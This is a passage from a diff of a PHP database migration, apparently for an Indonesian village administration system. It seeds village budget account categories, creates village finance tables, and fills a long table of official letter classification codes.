=> '5.2.1.', + 'Nama_Jenis' => 'Belanja Barang Perlengkapan', + ], + [ + 'id' => 48, + 'Kelompok' => '5.2.', + 'Jenis' => '5.2.2.', + 'Nama_Jenis' => 'Belanja Jasa Honorarium', + ], + [ + 'id' => 49, + 'Kelompok' => '5.2.', + 'Jenis' => '5.2.3.', + 'Nama_Jenis' => 'Belanja Perjalanan Dinas', + ], + [ + 'id' => 50, + 'Kelompok' => '5.2.', + 'Jenis' => '5.2.4.', + 'Nama_Jenis' => 'Belanja Jasa Sewa', + ], + [ + 'id' => 51, + 'Kelompok' => '5.2.', + 'Jenis' => '5.2.5.', + 'Nama_Jenis' => 'Belanja Operasional Perkantoran', + ], + [ + 'id' => 52, + 'Kelompok' => '5.2.', + 'Jenis' => '5.2.6.', + 'Nama_Jenis' => 'Belanja Pemeliharaan', + ], + [ + 'id' => 53, + 'Kelompok' => '5.2.', + 'Jenis' => '5.2.7.', + 'Nama_Jenis' => 'Belanja Barang dan Jasa yang Diserahkan kepada Masyarakat', + ], + [ + 'id' => 54, + 'Kelompok' => '5.3.', + 'Jenis' => '5.3.1.', + 'Nama_Jenis' => 'Belanja Modal Pengadaan Tanah', + ], + [ + 'id' => 55, + 'Kelompok' => '5.3.', + 'Jenis' => '5.3.2.', + 'Nama_Jenis' => 'Belanja Modal Pengadaan Peralatan, Mesin dan Alat Berat', + ], + [ + 'id' => 56, + 'Kelompok' => '5.3.', + 'Jenis' => '5.3.3.', + 'Nama_Jenis' => 'Belanja Modal Kendaraan', + ], + [ + 'id' => 57, + 'Kelompok' => '5.3.', + 'Jenis' => '5.3.4.', + 'Nama_Jenis' => 'Belanja Modal Gedung, Bangunan dan Taman', + ], + [ + 'id' => 58, + 'Kelompok' => '5.3.', + 'Jenis' => '5.3.5.', + 'Nama_Jenis' => 'Belanja Modal Jalan/Prasarana Jalan', + ], + [ + 'id' => 59, + 'Kelompok' => '5.3.', + 'Jenis' => '5.3.6.', + 'Nama_Jenis' => 'Belanja Modal Jembatan', + ], + [ + 'id' => 60, + 'Kelompok' => '5.3.', + 'Jenis' => '5.3.7.', + 'Nama_Jenis' => 'Belanja Modal Irigasi/Embung/Drainase/Air Limbah/Persampahan', + ], + [ + 'id' => 61, + 'Kelompok' => '5.3.', + 'Jenis' => '5.3.8.', + 'Nama_Jenis' => 'Belanja Modal Jaringan/Instalasi', + ], + [ + 'id' => 62, + 'Kelompok' => '5.3.', + 'Jenis' => '5.3.9.', + 'Nama_Jenis' => 'Belanja Modal Lainnya', + ], + [ + 'id' => 63, + 'Kelompok' => '5.4.', + 'Jenis' => '5.4.1.', + 'Nama_Jenis' => 'Belanja Tidak Terduga', + ], + [ + 'id' => 64, + 'Kelompok' => '6.1.', + 'Jenis' => '6.1.1.', + 'Nama_Jenis' => 'SILPA Tahun Sebelumnya', + ], + [ + 'id' => 65, + 'Kelompok' => '6.1.', + 'Jenis' => '6.1.2.', + 'Nama_Jenis' => 'Pencairan Dana Cadangan', + ], + [ + 'id' => 66, + 'Kelompok' => '6.1.', + 'Jenis' => '6.1.3.', + 'Nama_Jenis' => 'Hasil Penjualan Kekayaan Desa Yang Dipisahkan', + ], + [ + 'id' => 67, + 'Kelompok' => '6.1.', + 'Jenis' => '6.1.9.', + 'Nama_Jenis' => 'Penerimaan Pembiayaan Lainnya', + ], + [ + 'id' => 68, + 'Kelompok' => '6.2.', + 'Jenis' => '6.2.1.', + 'Nama_Jenis' => 'Pembentukan Dana Cadangan', + ], + [ + 'id' => 69, + 'Kelompok' => '6.2.', + 'Jenis' => '6.2.2.', + 'Nama_Jenis' => 'Penyertaan Modal Desa', + ], + [ + 'id' => 70, + 'Kelompok' => '6.2.', + 'Jenis' => '6.2.9.', + 'Nama_Jenis' => 'Pengeluaran Pembiayaan Lainnya', + ], + [ + 'id' => 71, + 'Kelompok' => '7.1.', + 'Jenis' => '7.1.1.', + 'Nama_Jenis' => 'Perhitungan PFK - Potongan Pajak', + ], + [ + 'id' => 72, + 'Kelompok' => '7.1.', + 'Jenis' => '7.1.2.', + 'Nama_Jenis' => 'Perhitungan PFK - Potongan Pajak Daerah', + ], + [ + 'id' => 73, + 'Kelompok' => '7.1.', + 'Jenis' => '7.1.3.', + 'Nama_Jenis' => 'Perhitungan PFK - Uang Muka dan Jaminan', + ], + ]); + + DB::statement(' + CREATE TABLE `keuangan_manual_rinci` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `Tahun` varchar(100) NOT NULL, + `Kd_Akun` varchar(100) NOT NULL, + `Kd_Keg` varchar(100) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `Nilai_Anggaran` varchar(100) NOT NULL, + `Nilai_Realisasi` varchar(100) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_manual_rinci_tpl` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `Tahun` varchar(100) NOT NULL, + `Kd_Akun` varchar(100) NOT NULL, + `Kd_Keg` varchar(100) NOT NULL, + `Kd_Rincian` varchar(100) NOT NULL, + `Nilai_Anggaran` varchar(100) NOT NULL, + `Nilai_Realisasi` varchar(100) NOT NULL, + PRIMARY KEY (`id`) + ); + '); + + DB::statement(' + CREATE TABLE `keuangan_master` ( + `id` int(11) NOT NULL AUTO_INCREMENT, + `versi_database` varchar(50) NOT NULL, + `tahun_anggaran` varchar(250) NOT NULL, + `aktif` int(2) NOT NULL DEFAULT 1, + `tanggal_impor` date NOT NULL, + PRIMARY KEY (`id`) + ); + '); + } + + private function tabel_surat() + { + DB::statement(' + CREATE TABLE `klasifikasi_surat` ( + `id` int(4) NOT NULL AUTO_INCREMENT, + `kode` varchar(50) NOT NULL, + `nama` varchar(250) NOT NULL, + `uraian` mediumtext NOT NULL, + `enabled` int(2) NOT NULL DEFAULT 1, + PRIMARY KEY (`id`) + ); + '); + + DB::table('klasifikasi_surat')->insert([ + [ + 'id' => 1, + 'kode' => '000', + 'nama' => 'UMUM', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 2, + 'kode' => '001', + 'nama' => 'Lambang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 3, + 'kode' => '001.1', + 'nama' => 'Garuda', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 4, + 'kode' => '001.2', + 'nama' => 'Bendera Kebangsaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 5, + 'kode' => '001.3', + 'nama' => 'Lagu Kebangsaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 6, + 'kode' => '001.4', + 'nama' => 'Daerah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 7, + 'kode' => '001.31', + 'nama' => 'Provinsi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 8, + 'kode' => '001.32', + 'nama' => 'Kabupaten/Kota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 9, + 'kode' => '002', + 'nama' => 'Tanda Kehormatan/Penghargaan untuk pegawai ', + 'uraian' => 'lihat 861.1', + 'enabled' => 1, + ], + [ + 'id' => 10, + 'kode' => '002.1', + 'nama' => 'Bintang', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 11, + 'kode' => '002.2', + 'nama' => 'Satyalencana', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 12, + 'kode' => '002.3', + 'nama' => 'Samkarya Nugraha', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 13, + 'kode' => '002.4', + 'nama' => 'Monumen', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 14, + 'kode' => '002.5', + 'nama' => 'Penghargaan Secara Adat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 15, + 'kode' => '002.6', + 'nama' => 'Penghargaan lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 16, + 'kode' => '003', + 'nama' => 'Hari Raya/Besar', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 17, + 'kode' => '003.1', + 'nama' => 'Nasional 17 Agustus, Hari Pahlawan, dan sebagainya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 18, + 'kode' => '003.2', + 'nama' => 'Hari Raya Keagamaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 19, + 'kode' => '003.3', + 'nama' => 'Hari Ulang Tahun', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 20, + 'kode' => '003.4', + 'nama' => 'Hari-hari Besar Internasional', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 21, + 'kode' => '004', + 'nama' => 'Ucapan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 22, + 'kode' => '004.1', + 'nama' => 'Ucapan Terima Kasih', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 23, + 'kode' => '004.2', + 'nama' => 'Ucapan Selamat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 24, + 'kode' => '004.3', + 'nama' => 'Ucapan Belasungkawa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 25, + 'kode' => '004.4', + 'nama' => 'Ucapan Lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 26, + 'kode' => '005', + 'nama' => 'Undangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 27, + 'kode' => '006', + 'nama' => 'Tanda Jabatan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 28, + 'kode' => '006.1', + 'nama' => 'Pamong Praja', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 29, + 'kode' => '006.2', + 'nama' => 'Tanda Pengenal', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 30, + 'kode' => '006.3', + 'nama' => 'Pejabat lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 31, + 'kode' => '007', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 32, + 'kode' => '008', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 33, + 'kode' => '009', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 34, + 'kode' => '010', + 'nama' => 'URUSAN DALAM ', + 'uraian' => 'Gedung Kantor/Termasuk Instalasi Prasarana Fisik Pamong', + 'enabled' => 1, + ], + [ + 'id' => 35, + 'kode' => '011', + 'nama' => 'Kantor Dinas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 36, + 'kode' => '012', + 'nama' => 'Rumah Dinas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 37, + 'kode' => '012.1', + 'nama' => 'Tanah Untuk Rumah Dinas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 38, + 'kode' => '012.2', + 'nama' => 'Perabot Rumah Dinas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 39, + 'kode' => '012.3', + 'nama' => 'Rumah Dinas Golongan 1', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 40, + 'kode' => '012.4', + 'nama' => 'Rumah Dinas Golongan 2', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 41, + 'kode' => '012.5', + 'nama' => 'Rumah Dinas Golongan 3', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 42, + 'kode' => '012.6', + 'nama' => 'Rumah/Bangunan Lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 43, + 'kode' => '012.7', + 'nama' => 'Rumah Pejabat Negara', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 44, + 'kode' => '013', + 'nama' => 'Mess/Guest House', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 45, + 'kode' => '014', + 'nama' => 'Rumah Susun/Apartemen', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 46, + 'kode' => '015', + 'nama' => 'Penerangan Listrik/Jasa Listrik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 47, + 'kode' => '016', + 'nama' => 'Telepon/Faximile/Internet', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 48, + 'kode' => '017', + 'nama' => 'Keamanan/Ketertiban Kantor', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 49, + 'kode' => '018', + 'nama' => 'Kebersihan Kantor', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 50, + 'kode' => '019', + 'nama' => 'Protokol', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 51, + 'kode' => '019.1', + 'nama' => 'Upacara Bendera', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 52, + 'kode' => '019.2', + 'nama' => 'Tata Tempat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 53, + 'kode' => '019.21', + 'nama' => 'Pemasangan Gambar Presiden/Wakil Presiden', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 54, + 'kode' => '019.3', + 'nama' => 'Audiensi / Menghadap Pimpinan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 55, + 'kode' => '019.4', + 'nama' => 'Alamat-Alamat Kantor Pejabat', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 56, + 'kode' => '019.5', + 'nama' => 'Bandir/Umbul-Umbul/Spanduk', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 57, + 'kode' => '020', + 'nama' => 'PERALATAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 58, + 'kode' => '020.1', + 'nama' => 'Penawaran', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 59, + 'kode' => '021', + 'nama' => 'Alat Tulis', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 60, + 'kode' => '022', + 'nama' => 'Mesin Kantor', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 61, + 'kode' => '023', + 'nama' => 'Perabot Kantor', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 62, + 'kode' => '024', + 'nama' => 'Alat Angkutan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 63, + 'kode' => '025', + 'nama' => 'Pakaian Dinas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 64, + 'kode' => '026', + 'nama' => 'Senjata', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 65, + 'kode' => '027', + 'nama' => 'Pengadaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 66, + 'kode' => '028', + 'nama' => 'Inventaris', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 67, + 'kode' => '029', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 68, + 'kode' => '030', + 'nama' => 'KEKAYAAN DAERAH', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 69, + 'kode' => '031', + 'nama' => 'Sumber Daya Alam', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 70, + 'kode' => '032', + 'nama' => 'Asset Daerah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 71, + 'kode' => '033', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 72, + 'kode' => '034', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 73, + 'kode' => '035', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 74, + 'kode' => '036', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 75, + 'kode' => '040', + 'nama' => 'PERPUSTAKAAN DOKUMENTASI / KEARSIPAN / SANDI', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 76, + 'kode' => '041', + 'nama' => 'Perpustakaan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 77, + 'kode' => '041.1', + 'nama' => 'Umum', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 78, + 'kode' => '041.2', + 'nama' => 'Khusus', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 79, + 'kode' => '041.3', + 'nama' => 'Perguruan Tinggi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 80, + 'kode' => '041.4', + 'nama' => 'Sekolah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 81, + 'kode' => '041.5', + 'nama' => 'Keliling', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 82, + 'kode' => '042', + 'nama' => 'Dokumentasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 83, + 'kode' => '043', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 84, + 'kode' => '044', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 85, + 'kode' => '045', + 'nama' => 'Kearsipan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 86, + 'kode' => '045.1', + 'nama' => 'Pola Klasifikasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 87, + 'kode' => '045.2', + 'nama' => 'Penataan Berkas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 88, + 'kode' => '045.3', + 'nama' => 'Penyusutan Arsip', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 89, + 'kode' => '045.31', + 'nama' => 'Jadwal Retensi Arsip', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 90, + 'kode' => '045.32', + 'nama' => 'Pemindahan Arsip', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 91, + 'kode' => '045.33', + 'nama' => 'Penilaian Arsip', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 92, + 'kode' => '045.34', + 'nama' => 'Pemusnahan Arsip', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 93, + 'kode' => '045.35', + 'nama' => 'Penyerahan Arsip', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 94, + 'kode' => '045.36', + 'nama' => 'Berita Acara Penyusutan Arsip', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 95, + 'kode' => '045.37', + 'nama' => 'Daftar Pencarian Arsip', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 96, + 'kode' => '045.4', + 'nama' => 'Pembinaan Kearsipan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 97, + 'kode' => '045.41', + 'nama' => 'Bimbingan Teknis', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 98, + 'kode' => '045.5', + 'nama' => 'Pemeliharaan /Perawatan Arsip', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 99, + 'kode' => '045.6', + 'nama' => 'Pengawetan/Fumigasi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 100, + 'kode' => '046', + 'nama' => 'Sandi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 101, + 'kode' => '047', + 'nama' => 'Website', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 102, + 'kode' => '048', + 'nama' => 'Pengelolaan Data', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 103, + 'kode' => '049', + 'nama' => 'Jaringan Komunikasi Data', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 104, + 'kode' => '050', + 'nama' => 'PERENCANAAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 105, + 'kode' => '050.1', + 'nama' => 'Repelita/8 Sukses', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 106, + 'kode' => '050.11', + 'nama' => 'Pelita Daerah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 107, + 'kode' => '050.12', + 'nama' => 'Bantuan Pembangunan Daerah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 108, + 'kode' => '050.13', + 'nama' => 'Bappeda', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 109, + 'kode' => '051', + 'nama' => 'Proyek Bidang Pemerintahan, ', + 'uraian' => 'Klasifikasikan Disini : Proyek Prasaran Fisik Pemerintahan, Tambahkan Perincian 100 Pada 051 Contoh: Proyek Kepenjaraan 051.86', + 'enabled' => 1, + ], + [ + 'id' => 110, + 'kode' => '052', + 'nama' => 'Bidang Politik', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 111, + 'kode' => '053', + 'nama' => 'Bidang Keamanan Dan Ketertiban', + 'uraian' => 'Tambahkan Perincian 300 Pada 053 Contoh: Proyek Ketataprajaan 053.311 ', + 'enabled' => 1, + ], + [ + 'id' => 112, + 'kode' => '054', + 'nama' => 'Bidang Kesejahteraan Rakyat ', + 'uraian' => 'Tambahkan Peincian 400 pada 054 Contoh: Proyek Resettlement Desa 054.671', + 'enabled' => 1, + ], + [ + 'id' => 113, + 'kode' => '055', + 'nama' => 'Bidang Perekonomian ', + 'uraian' => 'Tambahkan Perincian 500 Pada 055 Contoh: Proyek Pasar 055.112', + 'enabled' => 1, + ], + [ + 'id' => 114, + 'kode' => '056', + 'nama' => 'Bidang Pekerjaan Umum ', + 'uraian' => 'Tambahkan Perincian 600 pada 056 Contoh: Proyek Jembatan 056.3', + 'enabled' => 1, + ], + [ + 'id' => 115, + 'kode' => '057', + 'nama' => 'Bidang Pengawasan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 116, + 'kode' => '058', + 'nama' => 'Bidang Kepegawaian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 117, + 'kode' => '059', + 'nama' => 'Bidang Keuangan', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 118, + 'kode' => '060', + 'nama' => 'ORGANISASI / KETATALAKSANAAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 119, + 'kode' => '060.1', + 'nama' => 'Program Kerja', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 120, + 'kode' => '061', + 'nama' => 'Organisasi Instansi Pemerintah (struktur organisasi)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 121, + 'kode' => '061.1', + 'nama' => 'Susunan dan Tata Kerja', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 122, + 'kode' => '061.2', + 'nama' => 'Tata Tertib Kantor, Jam Kerja di Bulan Puasa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 123, + 'kode' => '062', + 'nama' => 'Organisasi Badan Non Pemerintah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 124, + 'kode' => '063', + 'nama' => 'Organisasi Badan Internasional', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 125, + 'kode' => '064', + 'nama' => 'Organisasi Semi Pemerintah, BKS-AKSI', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 126, + 'kode' => '065', + 'nama' => 'Ketatalaksanaan / Tata Naskah / Sistem', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 127, + 'kode' => '066', + 'nama' => 'Stempel Dinas', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 128, + 'kode' => '067', + 'nama' => 'Pelayanan Umum / Pelayanan Publik / Analisis', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 129, + 'kode' => '068', + 'nama' => 'Komputerisasi / Siskomdagri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 130, + 'kode' => '069', + 'nama' => 'Standar Pelayanan Minimal', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 131, + 'kode' => '070', + 'nama' => 'PENELITIAN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 132, + 'kode' => '071', + 'nama' => 'Riset', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 133, + 'kode' => '072', + 'nama' => 'Survey', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 134, + 'kode' => '073', + 'nama' => 'Kajian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 135, + 'kode' => '074', + 'nama' => 'Kerjasama Penelitian Dengan Perguruan Tinggi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 136, + 'kode' => '075', + 'nama' => 'Kementerian Lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 137, + 'kode' => '076', + 'nama' => 'Non Kementerian', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 138, + 'kode' => '077', + 'nama' => 'Provinsi', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 139, + 'kode' => '078', + 'nama' => 'Kabupaten/Kota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 140, + 'kode' => '079', + 'nama' => 'Kecamatan /Desa', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 141, + 'kode' => '080', + 'nama' => 'KONFERENSI / RAPAT / SEMINAR', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 142, + 'kode' => '081', + 'nama' => 'Gubernur', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 143, + 'kode' => '082', + 'nama' => 'Bupati / Walikota', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 144, + 'kode' => '083', + 'nama' => 'Komponen, Eselon Lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 145, + 'kode' => '084', + 'nama' => 'Instansi Lainnya', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 146, + 'kode' => '085', + 'nama' => 'Internasional Di Dalam Negeri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 147, + 'kode' => '086', + 'nama' => 'Internasional Di Luar Negeri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 148, + 'kode' => '087', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 149, + 'kode' => '088', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 150, + 'kode' => '089', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 151, + 'kode' => '090', + 'nama' => 'PERJALANAN DINAS', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 152, + 'kode' => '091', + 'nama' => 'Perjalanan Presiden/Wakil Presiden Ke Daerah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 153, + 'kode' => '092', + 'nama' => 'Perjalanan Menteri Ke Daerah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 154, + 'kode' => '093', + 'nama' => 'Perjalanan Pejabat Tinggi (Pejabat Eselon 1)', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 155, + 'kode' => '094', + 'nama' => 'Perjalanan Pegawai Termasuk Pemanggilan Pegawai', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 156, + 'kode' => '095', + 'nama' => 'Perjalanan Tamu Asing Ke Daerah', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 157, + 'kode' => '096', + 'nama' => 'Perjalanan Presiden/Wakil Presiden Ke Luar Negeri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 158, + 'kode' => '097', + 'nama' => 'Perjalanan Menteri Ke Luar Negeri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 159, + 'kode' => '098', + 'nama' => 'Perjalanan Pejabat Tinggi Ke Luar Negeri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 160, + 'kode' => '099', + 'nama' => 'Perjalanan Pegawai ke Luar Negeri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 161, + 'kode' => '100', + 'nama' => 'PEMERINTAHAN', + 'uraian' => 'Meliputi: Tata Praja, Legislatif, Yudikatif, Hubungan luar', + 'enabled' => 1, + ], + [ + 'id' => 162, + 'kode' => '101', + 'nama' => 'negeri', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 163, + 'kode' => '102', + 'nama' => 'GDN', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 164, + 'kode' => '103', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 165, + 'kode' => '104', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 166, + 'kode' => '105', + 'nama' => '-', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 167, + 'kode' => '110', + 'nama' => 'PEMERINTAHAN PUSAT', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 168, + 'kode' => '111', + 'nama' => 'Presiden', + 'uraian' => 'Meliputi: pencalonan, pengangkatan, pelantikan, sumpah, dan serah jabatan', + 'enabled' => 1, + ], + [ + 'id' => 169, + 'kode' => '111.1', + 'nama' => 'Pertanggung jawaban presiden kpd MPR', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 170, + 'kode' => '111.2', + 'nama' => 'Amanat Presiden/Amanat Kenegaraan/Pidato', + 'uraian' => '-', + 'enabled' => 1, + ], + [ + 'id' => 171, + 'kode' => '112', + 'nama' => 'Wakil Presiden', + 'uraian' => 